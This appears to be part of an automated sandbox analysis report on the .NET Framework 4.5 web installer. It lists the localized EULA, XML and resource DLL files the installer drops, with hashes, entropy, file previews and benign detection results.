                  SHA-256:82E65DE9BB55C79E392FD000796107B71E02FCA6145FACD852187BC0774241CD
                  SHA-512:A1AB90E250F23933BCFAE7FAF77B5236C7A7BEB4F916086EC2F020BBE1DB64846A86B5B504327AFAE260655942ADF38A8D62F00EDFD9C3FEDE5F31E14097DE90
                  Malicious:false
                  Antivirus:
                  • Antivirus: ReversingLabs, Detection: 0%
                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................5%......5".....Rich............................PE..L....l.O.........."!.........$...............................................P......U.....@.......................................... ... ...........(...=...........................................................................................text...G...........................@..@.rsrc....0... ..."..................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                  C:\02160d95efb0ac51c5e073\1042\eula.rtf

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:Rich Text Format data, version 1, ANSI, code page 1252, default language ID 1033
                  Category:dropped
                  Size (bytes):24735
                  Entropy (8bit):4.211228723733598
                  Encrypted:false
                  SSDEEP:384:Y0G7/ht4gyJkVJ8PEYMPb5YEOgn2Jn2HrUJ/btaLeA1JnD+Ts4WJV+GliNWo2:laJ8PEYMD5YFjJ2LUJ/btaLx1JnD+Pc
                  MD5:7DCEFFF53617EAE73A00A008C23A6AB4
                  SHA1:CCA3EFFC4497D635EB1D4636CB977A2B5AC56B5E
                  SHA-256:DF6698893E5CD4A1D1C2C05336A99217A84F50A6C6FB8D696D6A247E10DF2317
                  SHA-512:C6387B311F9B4F99321BD84F719AAC91585CCA6ED638A2AE69472AF9CDFFBAF9C89AEC43CE1D92DAE7D75BF1726DB33DD5F1F47A10197364C8A24F6903D0C2F8
                  Malicious:false
                  Preview:{\rtf1\ansi\ansicpg1252\deff0\deflang1033\deflangfe2052{\fonttbl{\f0\fswiss\fprq2\fcharset0 Tahoma;}{\f1\fswiss\fprq2\fcharset129 Gulim;}{\f2\froman\fprq2\fcharset0 Times New Roman;}{\f3\froman\fprq2\fcharset2 Symbol;}}..{\colortbl ;\red0\green0\blue255;}..{\stylesheet{ Normal;}{\s1 heading 1;}{\s2 heading 2;}}..{\*\generator Msftedit 5.41.21.2510;}\viewkind4\uc1\pard\nowidctlpar\sb120\sa120\b\f0\fs20 MICROSOFT \lang1042\f1\'bc\'d2\'c7\'c1\'c6\'ae\'bf\'fe\'be\'ee\lang1033\f0 \lang1042\f1\'c3\'df\'b0\'a1\lang1033\f0 \lang1042\f1\'bb\'e7\'bf\'eb\'b1\'c7\lang1033\f0 \lang1042\f1\'b0\'e8\'be\'e0\'bc\'ad\lang1033\f2\par..\pard\brdrb\brdrs\brdrw10\brsp20 \nowidctlpar\sb120\sa120\f0 MICROSOFT WINDOWS \lang1042\f1\'bf\'ee\'bf\'b5\lang1033\f0 \lang1042\f1\'c3\'bc\'c1\'a6\'bf\'eb\lang1033\f0 .NET FRAMEWORK 4.5 \lang1042\f1\'b9\'d7\lang1033\f0 \lang1042\f1\'b0\'fc\'b7\'c3\lang1033\f0 \lang1042\f1\'be\'f0\'be\'ee\lang1033\f0 \lang1042\f1\'c6\'d1\lang1033\f2\par..\pard\nowidctlpar\sb120\sa1

                  C:\02160d95efb0ac51c5e073\1043\LocalizedData.xml

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with very long lines (464), with CRLF line terminators
                  Category:dropped
                  Size (bytes):54976
                  Entropy (8bit):3.5423497934790533
                  Encrypted:false
                  SSDEEP:384:41Fp79ZDNzgD4c1MYMRgNVcxTGZUeJvuQFK7lXWyYP0JG1tJ+XD7Pv:WZKjL9+WyYsJJHX
                  MD5:898D2A1A5FAC4D1A028AA11E0ED9F9B4
                  SHA1:343795FBC1BBF1B0982DC9E70501721433FBA892
                  SHA-256:73130DA9B103F1812CA69CFFFDF5750E74B0228CD40E0325A7F14E799AAF21A3
                  SHA-512:FAC3FD81D803C1029DF6A3CD93060C950B0BA399FE074D438C4867D55468E7DE9AA77BBD7B51FE866F6849684408C853D70956E94DE39D4F61019825028A25E4
                  Malicious:false
                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.". .x.m.l.n.s.:.i.r.o.n.m.a.n.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.".>..... . .<.L.o.c.a.l.i.z.e.d.D.a.t.a.>..... . . . .<.L.a.n.g.u.a.g.e.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.M.i.c.r.o.s.o.f.t.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".M.i.c.r.o.s.o.f.t."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.D.o.t.N.e.t.F.x.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=."...N.E.T. .F.r.a.m.e.w.o.r.k."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.M.a.j.o.r.M.i.n.o.r.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".4...5."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.L.a.n.g.I.d.F.o.r.L.P.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".N.L.D."./.>..... . . . . . .<.T.e.x.t. .I.D.=.

                  C:\02160d95efb0ac51c5e073\1043\SetupResources.dll

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                  Category:dropped
                  Size (bytes):30712
                  Entropy (8bit):6.031369494192406
                  Encrypted:false
                  SSDEEP:384:mp2Q+uY0WYDxYv0hvOUjs1tmWNLeWdX7h0GftpBjxbFtAHRN7IolXx1GQs:W+uYqg4iz8Im1y
                  MD5:16A782576F0D22A0F4D0126F02DA7DCA
                  SHA1:F7A16251D4501FB5843192E4083123379F13B6F4
                  SHA-256:D7F31834629269334992745CF9B66CE6AEB91E029C01273CFFA8AF9B905A3616
                  SHA-512:897C1A60C9BDDF0BA16A5F569194FA766A2A852D63ED3C67F5A82009E241FA54B07C1C28207BF4E6366620B371A6B651A51E91884A9673A6C8B4B2DBED3ED6B1
                  Malicious:false
                  Antivirus:
                  • Antivirus: ReversingLabs, Detection: 0%
                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................5%......5".....Rich............................PE..L....l.O.........."!.........6...............................................`............@.......................................... ..h2...........:...=...........................................................................................text...G...........................@..@.rsrc....@... ...4..................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                  C:\02160d95efb0ac51c5e073\1043\eula.rtf

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:Rich Text Format data, version 1, ANSI, code page 1252, default language ID 1033
                  Category:dropped
                  Size (bytes):6193
                  Entropy (8bit):5.008507493240181
                  Encrypted:false
                  SSDEEP:192:Wfykt8wuQ/P8KaKBo9CWZ5NR/POVutlO0uO35EOs2:e8wuQX8Kako9CWBRAutPO2
                  MD5:EC8ED33C04ADF1C31A0A1C0A0F64BC98
                  SHA1:C876EFA416E7A975E0DA96BA45DCE8204D9E641D
                  SHA-256:44D7B710CFAC0D0060E440FCEFC12D03336521080B9229600C0045F5E4B33A16
                  SHA-512:3EF448CE50BA44F0401C6CAB95C07E5B178776DC873E266162F25D72F0324A4FA150ABFDEAB6F73EE94737F4FB902AAB94A4E4CF6F1F08A95F1AB8FA0E615751
                  Malicious:false
                  Preview:{\rtf1\ansi\ansicpg1252\deff0\deflang1033\deflangfe1041{\fonttbl{\f0\fswiss\fprq2\fcharset0 Tahoma;}{\f1\froman\fprq2\fcharset2 Symbol;}}..{\colortbl ;\red0\green0\blue255;}..{\stylesheet{ Normal;}{\s1 heading 1;}{\s2 heading 2;}}..{\*\generator Msftedit 5.41.21.2510;}\viewkind4\uc1\pard\nowidctlpar\sb120\sa120\lang1043\b\f0\fs20 AANVULLENDE LICENTIEVOORWAARDEN VOOR MICROSOFT-SOFTWARE\par..\pard\brdrb\brdrs\brdrw10\brsp20 \nowidctlpar\sb120\sa120 .NET FRAMEWORK 4.5 VOOR MICROSOFT WINDOWS-BESTURINGSSYSTEEM EN BIJBEHORENDE TAALPAKKETTEN\par..\pard\nowidctlpar\sb120\sa120\b0 Microsoft Corporation (of, afhankelijk uw locatie, een van haar gelieerde ondernemingen) geeft dit supplement aan u in licentie. Als u bevoegd bent tot het gebruik van de besturingssysteemsoftware van\~Microsoft Windows (de \ldblquote software\rdblquote ), mag u dit supplement gebruiken. U mag dit supplement niet gebruiken als u niet over een licentie voor de software beschikt. U mag dit supplement gebruiken bij elk\~

                  C:\02160d95efb0ac51c5e073\1044\LocalizedData.xml

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with very long lines (462), with CRLF line terminators
                  Category:dropped
                  Size (bytes):54632
                  Entropy (8bit):3.5662431186042935
                  Encrypted:false
                  SSDEEP:384:4mkVpcnQMbG+tlK+9COscFG/GNJYkTRxv:p99COG/GNJYuf
                  MD5:A459AFDBE20F5D4C904D3E3700EE9191
                  SHA1:22570B1DE34C11796390057537269145A2C63438
                  SHA-256:0AC4BCF5CEE39AD42070E34393303FFE3EF27E71C8D9522F3DC01E12F93DDA03
                  SHA-512:B01536C774121BA9FE25014BB802B45449BA46529AF8AD59F3FF93E339E7443238B268716AC051D24AC9EBA093E5D66FD5C5FAA2CA17BF744EC31E50627159CE
                  Malicious:false
                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.". .x.m.l.n.s.:.i.r.o.n.m.a.n.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.".>..... . .<.L.o.c.a.l.i.z.e.d.D.a.t.a.>..... . . . .<.L.a.n.g.u.a.g.e.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.M.i.c.r.o.s.o.f.t.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".M.i.c.r.o.s.o.f.t."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.D.o.t.N.e.t.F.x.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=."...N.E.T. .F.r.a.m.e.w.o.r.k."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.M.a.j.o.r.M.i.n.o.r.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".4...5."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.L.a.n.g.I.d.F.o.r.L.P.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".N.O.R."./.>..... . . . . . .<.T.e.x.t. .I.D.=.

                  C:\02160d95efb0ac51c5e073\1044\SetupResources.dll

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                  Category:dropped
                  Size (bytes):29128
                  Entropy (8bit):6.148925784611247
                  Encrypted:false
                  SSDEEP:384:wu+Oeu+Oeu+OeuL1z6txtYoxIwcSMN5/cWFeW31ae00GftpBjTSmwJDHRN77lrlQ:VKxtYoqBD5/PFasiVwJDzQ
                  MD5:0E0BC8C505499D688A0B7BD6B1CC3CD2
                  SHA1:E973859101B38F6F781E56DD62195C6458790538
                  SHA-256:C81B33808B0D7410BAF0CA8E326D0C65385678D72B1C40D699205789B2C83A64
                  SHA-512:95A20E24118B3828CF25397C2C4A91AC7F0D09C8F0683289CCB0625F125C2355557ADF58FCDC7FA72A181D6A8D04EF8DE69A7541056605D166A31DF691AA5D5B
                  Malicious:false
                  Antivirus:
                  • Antivirus: ReversingLabs, Detection: 0%
                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................5%......5".....Rich............................PE..L....l.O.........."!.........0...............................................P......X.....@.......................................... ..4,...........4...=...........................................................................................text...G...........................@..@.rsrc....0... ......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                  C:\02160d95efb0ac51c5e073\1044\eula.rtf

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:Rich Text Format data, version 1, ANSI, code page 1252, default language ID 1033
                  Category:dropped
                  Size (bytes):6608
                  Entropy (8bit):5.041752973044866
                  Encrypted:false
                  SSDEEP:192:Wfr44s4SKwduRc4Kq54933IWpu0M1SU7AJCjCBzGOlB5yZgHKSzlnyXoXhOdDTeL:R4Sxd2SqOHIWY0M1SU7AJC2BzGOlfQiL
                  MD5:D51EBCB507B2870D6F40EAB8FD7D1EEA
                  SHA1:DA2E72739877A220666A7D74A46A1440544A675C
                  SHA-256:0DE0EE25D0D3ABC6D06D8AC55A3C6A7CAE7E0D79D52CD27F7D2FE1DD42F52651
                  SHA-512:00E437963DB11BB38E37F035C83A119EE10ABE703436911702805112ACAB297D3F903997B0747D12E70CD270A831C459FABE9ACA59417D22C9ED3038FCDA0107
                  Malicious:false
                  Preview:{\rtf1\ansi\ansicpg1252\deff0\deflang1033\deflangfe1041{\fonttbl{\f0\fswiss\fprq2\fcharset0 Tahoma;}{\f1\froman\fprq2\fcharset2 Symbol;}}..{\colortbl ;\red0\green0\blue255;}..{\stylesheet{ Normal;}{\s1 heading 1;}{\s2 heading 2;}}..{\*\generator Msftedit 5.41.21.2510;}\viewkind4\uc1\pard\nowidctlpar\sb120\sa120\lang1044\b\f0\fs20 TILLEGGSLISENSVILK\'c5R FOR MICROSOFT-PROGRAMVARE\lang1033\par..\pard\brdrb\brdrs\brdrw10\brsp20 \nowidctlpar\sb120\sa120 .\lang1044 NET FRAMEWORK 4.5 FOR MICROSOFT WINDOWS-OPERATIVSYSTEM OG TILKNYTTEDE SPR\'c5KPAKKER\lang1033\par..\pard\nowidctlpar\sb120\sa120\lang1044\b0 Microsoft Corporation (eller, avhengig av hvor du bor, et av dets tilknyttede selskaper) lisensierer dette tillegget til deg.\lang1036 \lang1044 Hvis du har lisens for bruk av Microsoft Windows-operativsystemprogramvare (\ldblquote programvare\rdblquote ), kan du bruke dette tillegget.\lang1033 \lang1044 Du har ikke tillatelse til \'e5 bruke det hvis du ikke har lisens for programvaren.\la

                  C:\02160d95efb0ac51c5e073\1045\LocalizedData.xml

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with very long lines (495), with CRLF line terminators
                  Category:dropped
                  Size (bytes):55212
                  Entropy (8bit):3.6622711893592954
                  Encrypted:false
                  SSDEEP:768:VnYUL5pj6ei0XE264DplOe6lEyvhLJ7xzK:VX7yvdJl2
                  MD5:95C6472F2C8329EC1C10F7DF3A31C154
                  SHA1:624D46235912DC169913BA77CAA7889219E2C394
                  SHA-256:197722527D1AD65A10A29ECEC04F029ABC549EB5D05BC07A68107AD6DD4BD35B
                  SHA-512:28149AB0C041DC35F717435F3C2218700090FC38723219C1CD40EC7F777C68D99DD08B6A42014EAD8FB1E309637B6C33AA5DEC0518DC1B72273C7A6FD7EF06C0
                  Malicious:false
                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.". .x.m.l.n.s.:.i.r.o.n.m.a.n.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.".>..... . .<.L.o.c.a.l.i.z.e.d.D.a.t.a.>..... . . . .<.L.a.n.g.u.a.g.e.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.M.i.c.r.o.s.o.f.t.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".M.i.c.r.o.s.o.f.t."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.D.o.t.N.e.t.F.x.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=."...N.E.T. .F.r.a.m.e.w.o.r.k."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.M.a.j.o.r.M.i.n.o.r.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".4...5."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.L.a.n.g.I.d.F.o.r.L.P.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".P.L.K."./.>..... . . . . . .<.T.e.x.t. .I.D.=.

                  C:\02160d95efb0ac51c5e073\1045\SetupResources.dll

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                  Category:dropped
                  Size (bytes):29688
                  Entropy (8bit):6.111335525161208
                  Encrypted:false
                  SSDEEP:384:fT2O2Q+CNfvaRr2hWPeWbr/L0GftpBjfU+FtAHRN75Tewlrh6wQ:qqVWYia5TeK
                  MD5:EAC86FB1EE25AA33C0B52EFFD1A7F59A
                  SHA1:BE5E9940275621B97B653CFC6202FC3243B6B17C
                  SHA-256:1642DA25DE4669F34CA000753410EE87B56AA181D56A0F5C20CA39030C4EFE4E
                  SHA-512:59A66C67844DF003264D812BD0C2F1179A1F74A0FC7E18601D3E37FA52D47458EC95AF93CCD3DD3363991E23D9E6CCE78BAE661FB845712B9E702E4DC61827AD
                  Malicious:false
                  Antivirus:
                  • Antivirus: ReversingLabs, Detection: 0%
                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................5%......5".....Rich............................PE..L....l.O.........."!.........2...............................................P............@.......................................... .../...........6...=...........................................................................................text...G...........................@..@.rsrc....0... ...0..................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                  C:\02160d95efb0ac51c5e073\1045\eula.rtf

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:Rich Text Format data, version 1, ANSI, code page 1252, default language ID 1033
                  Category:dropped
                  Size (bytes):8515
                  Entropy (8bit):5.215030319136827
                  Encrypted:false
                  SSDEEP:192:Hf0+BzzMx8flOZBC/y5GZsYC3C58xNn3uulZ3Im98HzZZ07WL7mOx+19zpkOtRuw:tz88flOZBC/8GZsY4C58xheE5ImiZq7z
                  MD5:4ADF4D46BEC180571A9397099E6D835D
                  SHA1:E69670CB93AB5961DFEC51A8209F650091965A89
                  SHA-256:11915D82EBD4154C14BEB8ADC85FDB1CDE4C1EA5D03DD33C99B8D4402F236F3A
                  SHA-512:652EFAD0CAAE6158A721332310DC983D860683BC98F0DAFA798F060B78E4CA98E09FE484AEBCCC7B2B36A6DCFC7D779938CBA17CA82AF5D131906B6580E6B252
                  Malicious:false
                  Preview:{\rtf1\ansi\ansicpg1252\deff0\deflang1033\deflangfe1041{\fonttbl{\f0\fswiss\fprq2\fcharset238 Tahoma CE;}{\f1\fswiss\fprq2\fcharset0 Tahoma;}{\f2\fswiss\fprq2\fcharset238 Tahoma;}{\f3\froman\fprq2\fcharset2 Symbol;}}..{\colortbl ;\red0\green0\blue255;}..{\stylesheet{ Normal;}{\s1 heading 1;}{\s2 heading 2;}}..{\*\generator Msftedit 5.41.21.2510;}\viewkind4\uc1\pard\nowidctlpar\sb120\sa120\lang1045\b\f0\fs20 UZUPE\'a3NIAJ\'a5CE POSTANOWIENIA LICENCYJNE DOTYCZ\'a5CE OPROGRAMOWANIA MICROSOFT\lang1040\f1\par..\pard\brdrb\brdrs\brdrw10\brsp20 \nowidctlpar\sb120\sa120\lang1045\f2 OP\f0 ROGRAMOWANIE .NET FRAMEWORK 4.5 DLA SYSTEMU OPERACYJNEGO MICROSOFT WINDOWS I POWI\'a5ZANYCH PAKIET\'d3W J\'caZYKOWYCH\lang1040\f1\par..\pard\nowidctlpar\sb120\sa120\lang1045\b0\f0 Microsoft Corporation (lub, w\~zale\'bfno\'9cci od miejsca zamieszkania Licencjobiorcy, jeden z\~podmiot\'f3w stowarzyszonych Microsoft Corporation) udziela Licencjobiorcy licencji na to uzupe\'b3nienie.\lang1040\f1 \lang1045\f0 Je\

                  C:\02160d95efb0ac51c5e073\1046\LocalizedData.xml

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with very long lines (483), with CRLF line terminators
                  Category:dropped
                  Size (bytes):54204
                  Entropy (8bit):3.5646557048453342
                  Encrypted:false
                  SSDEEP:384:4wkHpbAOLPl/5Y3LRyg2/qK1AEkyJ2m9ZyN7sgv:7SkyJzyN7R
                  MD5:C13B50E2A7F6E7E9343500771CF2D247
                  SHA1:0B679D20DDA94224A5DDD80863A2A32DE1CC6F1E
                  SHA-256:3F9BF4EEE9ECE4A0181EA344344230D73D711ABA2FA9248834E3B7547A3062CF
                  SHA-512:32DAEA597A34F60CA5B73648D66663E4723C0D588AF4CE08F76240AABBECD3A35ABFBFD5E22ABD8EAC8CA64A9F2B3EDADB8D1C24BC31F53CE5CD902DBA3FC5DA
                  Malicious:false
                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.". .x.m.l.n.s.:.i.r.o.n.m.a.n.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.".>..... . .<.L.o.c.a.l.i.z.e.d.D.a.t.a.>..... . . . .<.L.a.n.g.u.a.g.e.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.M.i.c.r.o.s.o.f.t.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".M.i.c.r.o.s.o.f.t."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.D.o.t.N.e.t.F.x.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=."...N.E.T. .F.r.a.m.e.w.o.r.k."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.M.a.j.o.r.M.i.n.o.r.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".4...5."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.L.a.n.g.I.d.F.o.r.L.P.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".P.o.r.t.u.g.u...s. .(.B.r.a.s.i.l.)."./.>.....

                  C:\02160d95efb0ac51c5e073\1046\SetupResources.dll

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                  Category:dropped
                  Size (bytes):29640
                  Entropy (8bit):6.104909970947273
                  Encrypted:false
                  SSDEEP:384:8Ls6gx0+nTB1HcpmVWleWS1ae00GftpBjpSuDHRN75lXxHE:84CaB18puasiPJDVk
                  MD5:2AC7030044C43E3967FA4E29118674E5
                  SHA1:1F9D7680EEC91BD19FCB33ABEF41111A1E57D94E
                  SHA-256:2D2EF7CBB740E89806F6196B80B1491ADA6E2B7B4DBC02FA2F5F4A839C707F91
                  SHA-512:B0A4B35DA3E5224FB24F1E0CE615161D6FEB5A0E732EBDBDAC428638A8AC417B9F5E81702795EB50BBC73D96C8B01F7C5A926ADAB63452893A1A164B3AF20EBC
                  Malicious:false
                  Antivirus:
                  • Antivirus: ReversingLabs, Detection: 0%
                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................5%......5".....Rich............................PE..L....l.O.........."!.........2...............................................P............@.......................................... ..D............6...=...........................................................................................text...G...........................@..@.rsrc....0... ...0..................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                  C:\02160d95efb0ac51c5e073\1046\eula.rtf

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:Rich Text Format data, version 1, ANSI, code page 1252, default language ID 1033
                  Category:dropped
                  Size (bytes):7234
                  Entropy (8bit):5.041865524544049
                  Encrypted:false
                  SSDEEP:192:Wf0whcetPe5HVgaaD68Q6slzyzTGx1tTxpPOqBCSqwVYZ+q2:BwhcetPe5HVgaaD7XslWevtTnFBCbwak
                  MD5:481758D12E78E7D033CE2347290E2C0B
                  SHA1:2B6612D060ECC94FDF9DA65CE25B2B5B560C5EED
                  SHA-256:4DEA1FDF819AAFE82E98D6BC8B6D65DD095B5A2A5A1B819C65EAB657AB0645E2
                  SHA-512:4C826897021DD6BC5D1A3DBBB2037B090007EACE67F21B22A65DC5E513791B1A75BE9A658C925D00A20DE89A8AC359334CE23D5252ADDF18323D5815923094EA
                  Malicious:false
                  Preview:{\rtf1\ansi\ansicpg1252\deff0\deflang1033\deflangfe1041{\fonttbl{\f0\fswiss\fprq2\fcharset0 Tahoma;}{\f1\froman\fprq2\fcharset2 Symbol;}}..{\colortbl ;\red0\green0\blue255;}..{\stylesheet{ Normal;}{\s1 heading 1;}{\s2 heading 2;}}..{\*\generator Msftedit 5.41.21.2510;}\viewkind4\uc1\pard\nowidctlpar\sb120\sa120\lang1046\b\f0\fs20 TERMOS DE LICEN\'c7A COMPLEMENTARES PARA SOFTWARE DA MICROSOFT\lang1040\par..\pard\brdrb\brdrs\brdrw10\brsp20 \nowidctlpar\sb120\sa120 .\lang1046 NET FRAMEWORK 4.5 PARA O SISTEMA OPERACIONAL MICROSOFT WINDOWS E PACOTES DE IDIOMAS ASSOCIADOS\lang1040\par..\pard\nowidctlpar\sb120\sa120\lang1046\b0 A Microsoft Corporation (ou, dependendo do local em que voc\'ea esteja domiciliado, uma de suas afiliadas) fornece a voc\'ea a licen\'e7a deste suplemento.\lang1040 \lang1046 Se voc\'ea estiver licenciado para usar o sistema operacional Microsoft Windows (o \ldblquote software\rdblquote ), poder\'e1 usar este complemento.\lang1040 \lang1046 Voc\'ea n\'e3o poder\'e1 u

                  C:\02160d95efb0ac51c5e073\1049\LocalizedData.xml

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with very long lines (465), with CRLF line terminators
                  Category:dropped
                  Size (bytes):55248
                  Entropy (8bit):4.234275380675894
                  Encrypted:false
                  SSDEEP:384:47ZpNua4EGzScaVN5/FpnWXV5LyxF2naNnws24J+UFX6Jryc5cvhP/UTv:AVuJv
                  MD5:1C8AD8F7AACDE7AC59BFD9730CFCAE80
                  SHA1:815C79113429B37D34C7DDFF46CECCFE58B4CDDC
                  SHA-256:4FAA58922F623685F05386CE518C0243E3F310DB5AC64C58E5B4E91A3E4477B7
                  SHA-512:27D5871F862756945C66397D539C79BF6032EC0D6A06255AD6B57AD1DF3C1E8C87DC55DCC3FEBFB4BD1CE4EB24F3268FAB30B1DF3FD1C035D66410337DB73785
                  Malicious:false
